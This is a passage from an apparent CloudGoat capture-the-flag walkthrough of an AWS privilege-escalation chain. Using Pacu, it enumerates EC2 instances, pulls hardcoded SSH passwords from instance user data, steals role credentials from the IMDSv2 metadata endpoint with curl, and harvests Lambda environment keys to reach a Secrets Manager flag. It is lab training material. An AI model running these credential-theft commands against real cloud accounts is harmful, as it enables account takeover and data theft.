[iam__bruteforce_permissions] MODULE SUMMARY:

Num of IAM permissions found: 5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  View Confirmed Permissions
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cg-start-user-cgido7xwddyilh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"ec2:DescribeTags"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"ec2:DescribeInstances"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"sts:GetSessionToken"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"sts:GetCallerIdentity"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"dynamodb:DescribeEndpoints"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Key Findings
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Permissions&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;EC2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;DescribeInstances&lt;/code&gt;, &lt;code&gt;DescribeTags&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Can enumerate EC2 instances and metadata&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;STS&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;GetCallerIdentity&lt;/code&gt;, &lt;code&gt;GetSessionToken&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Can verify identity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DynamoDB&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DescribeEndpoints&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Low impact&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The ability to describe EC2 instances is the key to exploiting this scenario.&lt;/p&gt;
&lt;h2&gt;
  
  
  🖥️ Phase 3: EC2 Enumeration and User Data Extraction
&lt;/h2&gt;
&lt;h4&gt;
  
  
  Discover EC2 Instances
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;run ec2__enum &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[ec2__enum]   1 instance(s) found.
[ec2__enum]   1 public IP address(es) found and added to text file
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Extract Public IP
&lt;/h4&gt;

&lt;p&gt;Pacu saves the IP to: &lt;code&gt;~/.local/share/pacu/data_secrets/downloads/ec2_public_ips_data_secrets_us-east-1.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Public IP: &lt;code&gt;13.***.***.***&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Download User Data
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;help &lt;/span&gt;ec2__download_userdata
&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;run ec2__download_userdata
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Select target region when prompted: &lt;code&gt;us-east-1&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  View User Data Content
&lt;/h4&gt;

&lt;p&gt;Pacu downloads User Data to: &lt;code&gt;~/.local/share/pacu/data_secrets/downloads/ec2_user_data/&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ec2-user:CloudGoatInstancePassword!"&lt;/span&gt; | chpasswd
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/PasswordAuthentication no/PasswordAuthentication yes/g'&lt;/span&gt; /etc/ssh/sshd_config
service sshd restart
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Critical Findings
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Artifact&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;EC2 Instance ID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;i-0827322ea4150fec3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Public IP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;13.***.***.***&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH Username&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ec2-user&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH Password&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CloudGoatInstancePassword!&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The User Data script reveals hardcoded SSH credentials, a critical misconfiguration.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔐 Phase 4: SSH Access and IMDS Token Theft
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Connect to EC2 Instance
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh ec2-user@13.&lt;span class="k"&gt;***&lt;/span&gt;.&lt;span class="k"&gt;***&lt;/span&gt;.&lt;span class="k"&gt;***&lt;/span&gt;
&lt;span class="c"&gt;# Password: CloudGoatInstancePassword!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Get IMDSv2 Token
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; PUT &lt;span class="s2"&gt;"http://169.254.169.254/latest/api/token"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-aws-ec2-metadata-token-ttl-seconds: 21600"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Retrieve IAM Role Name
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;ROLE_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-aws-ec2-metadata-token: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ROLE_NAME&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output: &lt;code&gt;cg-ec2-role-cgido7xwddyilh&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Steal Temporary Credentials
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-aws-ec2-metadata-token: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;span class="nv"&gt;$ROLE_NAME&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"AccessKeyId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ASIA****************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"SecretAccessKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"f7vFfkcw9iuwNF2mOYPzjw********************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IQoJb3JpZ2luX2VjEDwaCXVzLWVhc3QtMSJI..."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Configure EC2 Role Profile
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; ec2_profile
&lt;span class="c"&gt;# Access Key: ASIA****************&lt;/span&gt;
&lt;span class="c"&gt;# Secret Key: f7vFfkcw9iuwNF2mOYPz********************&lt;/span&gt;
&lt;span class="c"&gt;# Session Token: (paste the full token)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Validate EC2 Role Credentials
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sts get-caller-identity &lt;span class="nt"&gt;--profile&lt;/span&gt; ec2_profile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AROA3QN6JWS34Z26XSFIZ:i-0827322ea4150fec3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Account"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"7912********"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:sts::7912********:assumed-role/cg-ec2-role-cgido7xwddyilh/i-0827322ea4150fec3"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Critical Findings
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Artifact&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Temporary Access Key&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ASIA****************&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Temporary Secret Key&lt;/td&gt;
&lt;td&gt;&lt;code&gt;f7vFfkcw9iuwNF2mOYPzjwe********************&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session Token&lt;/td&gt;
&lt;td&gt;(Long-lived temporary credential)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Successfully escalated from IAM user to EC2 instance role.&lt;/p&gt;

&lt;h2&gt;
  
  
  📊 Phase 5: Enumerate EC2 Role Permissions
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Import EC2 Profile to Pacu
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pacu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;import_keys ec2_profile
&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;run iam__bruteforce_permissions &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[iam__bruteforce_permissions]   dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions]   sts.get_caller_identity() worked!
[iam__bruteforce_permissions]   lambda.list_functions() worked!

[iam__bruteforce_permissions] MODULE SUMMARY:

Num of IAM permissions found: 3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  View EC2 Role Permissions
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"AccessKeyId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ASIA****************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"dynamodb:DescribeEndpoints"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"sts:GetCallerIdentity"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"lambda:ListFunctions"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Key Finding
&lt;/h4&gt;

&lt;p&gt;The EC2 role can enumerate Lambda functions, potentially exposing sensitive configuration data such as environment variables.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔍 Phase 6: Lambda Enumeration and Credential Discovery
&lt;/h2&gt;

&lt;h4&gt;
  
  
  List Lambda Functions
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;search lambda
&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;help &lt;/span&gt;lambda__enum
&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;run lambda__enum &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[lambda__enum]   Enumerating data for cg-lambda-function-cgido7xwddyilh
    [+] Secret (ENV): DB_USER_ACCESS_KEY= AKIA****************
    [+] Secret (ENV): DB_USER_SECRET_KEY= zHq6/a2/cotXfMhK2bvv********************
[lambda__enum] 1 functions found in us-east-1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Critical Findings
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Environment Variable&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DB_USER_ACCESS_KEY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AKIA****************&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DB_USER_SECRET_KEY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;`zHq6/a2/cotXfMhK2bvv/py********************&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The Lambda function's environment variables contain hardcoded AWS credentials for a database user.&lt;/p&gt;

&lt;h2&gt;
  
  
  💾 Phase 7: Final Privilege Escalation via Lambda Credentials
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Configure Lambda User Profile
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`bash&lt;br&gt;
aws configure --profile lambda_profile&lt;/p&gt;

&lt;h1&gt;
  
  
  Access Key: AKIA****************
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Secret Key: zHq6/a2/cotXfMhK2bvv********************
&lt;/h1&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Enumerate Lambda User Permissions
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;bash&lt;br&gt;
pacu&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;console&lt;br&gt;
Pacu &amp;gt; import_keys lambda_profile&lt;br&gt;
Pacu &amp;gt; run iam__bruteforce_permissions --region us-east-1&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`console&lt;br&gt;
[iam_&lt;em&gt;bruteforce_permissions]   dynamodb.describe_endpoints() worked!&lt;br&gt;
[iam&lt;/em&gt;&lt;em&gt;bruteforce_permissions]   secretsmanager.list_secrets() worked!&lt;br&gt;
[iam&lt;/em&gt;&lt;em&gt;bruteforce_permissions]   sts.get_session_token() worked!&lt;br&gt;
[iam&lt;/em&gt;_bruteforce_permissions]   sts.get_caller_identity() worked!&lt;/p&gt;

&lt;p&gt;[iam__bruteforce_permissions] MODULE SUMMARY:&lt;/p&gt;

&lt;p&gt;Num of IAM permissions found: 4&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  View Lambda User Permissions
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;console&lt;br&gt;
Pacu &amp;gt; whoami&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;json&lt;br&gt;
{&lt;br&gt;
  "UserName": "cg-lambda-user-cgido7xwddyilh",&lt;br&gt;
  "Arn": "arn:aws:iam::7912********:user/cg-lambda-user-cgido7xwddyilh",&lt;br&gt;
  "Permissions": {&lt;br&gt;
    "Allow": [&lt;br&gt;
      "dynamodb:DescribeEndpoints",&lt;br&gt;
      "sts:GetSessionToken",&lt;br&gt;
      "sts:GetCallerIdentity",&lt;br&gt;
      "secretsmanager:ListSecrets"&lt;br&gt;
    ]&lt;br&gt;
  }&lt;br&gt;
}&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Key Finding
&lt;/h4&gt;

&lt;p&gt;The Lambda user can enumerate Secrets Manager resources, enabling discovery of sensitive stored data.&lt;/p&gt;

&lt;h2&gt;
  
  
  🚩 Phase 8: Capture the Flag
&lt;/h2&gt;

&lt;h4&gt;
  
  
  List Secrets Manager Secrets
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;console&lt;br&gt;
Pacu &amp;gt; search secret&lt;br&gt;
Pacu &amp;gt; help secrets__enum&lt;br&gt;
Pacu &amp;gt; run secrets__enum --region us-east-1&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;console&lt;br&gt;
[secrets__enum] Starting region us-east-1...&lt;br&gt;
[secrets__enum]  Found secret: cg-final-flag-cgido7xwddyilh&lt;br&gt;
[secrets__enum] 1 Secret(s) were found in AWS secretsmanager&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Retrieve the Flag
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;bash&lt;br&gt;
cat ~/.local/share/pacu/lambda_profile/downloads/secrets/secrets_manager/secrets.txt&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;json&lt;br&gt;
cg-final-flag-cgido7xwddyilh: {"flag":"d4t4_s3cr3ts_4r3_fun"}&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;d4t4_s3cr3ts_4r3_fun&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  📐 Attack Chain Diagram
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;plaintext&lt;br&gt;
┌──────────────────────┐&lt;br&gt;
│  Limited IAM User    │&lt;br&gt;
│   (data_secrets)     │&lt;br&gt;
└──────────┬───────────┘&lt;br&gt;
           │ ec2:DescribeInstances&lt;br&gt;
           │ ec2:DescribeTags&lt;br&gt;
           ▼&lt;br&gt;
┌──────────────────────┐&lt;br&gt;
│  EC2 Instance Found  │&lt;br&gt;
│  Public IP: 13.*.*.* │&lt;br&gt;
└──────────┬───────────┘&lt;br&gt;
           │ ec2__download_userdata&lt;br&gt;
           ▼&lt;br&gt;
┌──────────────────────┐&lt;br&gt;
│  User Data Leak      │&lt;br&gt;
│  SSH Credentials     │&lt;br&gt;
└──────────┬───────────┘&lt;br&gt;
           │ SSH ec2-user@IP&lt;br&gt;
           ▼&lt;br&gt;
┌──────────────────────┐&lt;br&gt;
│  SSH Access Gained   │&lt;br&gt;
│  On EC2 Instance     │&lt;br&gt;
└──────────┬───────────┘&lt;br&gt;
           │ IMDS Token (IMDSv2)&lt;br&gt;
           │ /latest/meta-data/iam/&lt;br&gt;
           │ security-credentials/&lt;br&gt;
           ▼&lt;br&gt;
┌──────────────────────┐&lt;br&gt;
│  EC2 Role Creds      │&lt;br&gt;
│  Temporary Session   │&lt;br&gt;
└──────────┬───────────┘&lt;br&gt;
           │ lambda:ListFunctions&lt;br&gt;
           ▼&lt;br&gt;
┌──────────────────────┐&lt;br&gt;
│  Lambda Functions    │&lt;br&gt;
│  Environment Vars    │&lt;br&gt;
└──────────┬───────────┘&lt;br&gt;
           │&lt;br&gt;
           ▼&lt;br&gt;
┌──────────────────────┐&lt;br&gt;
│  DB User Credentials │&lt;br&gt;
│  Hidden in Lambda    │&lt;br&gt;
└──────────┬───────────┘&lt;br&gt;
           │ secretsmanager:ListSecrets&lt;br&gt;
           ▼&lt;br&gt;
┌──────────────────────┐&lt;br&gt;
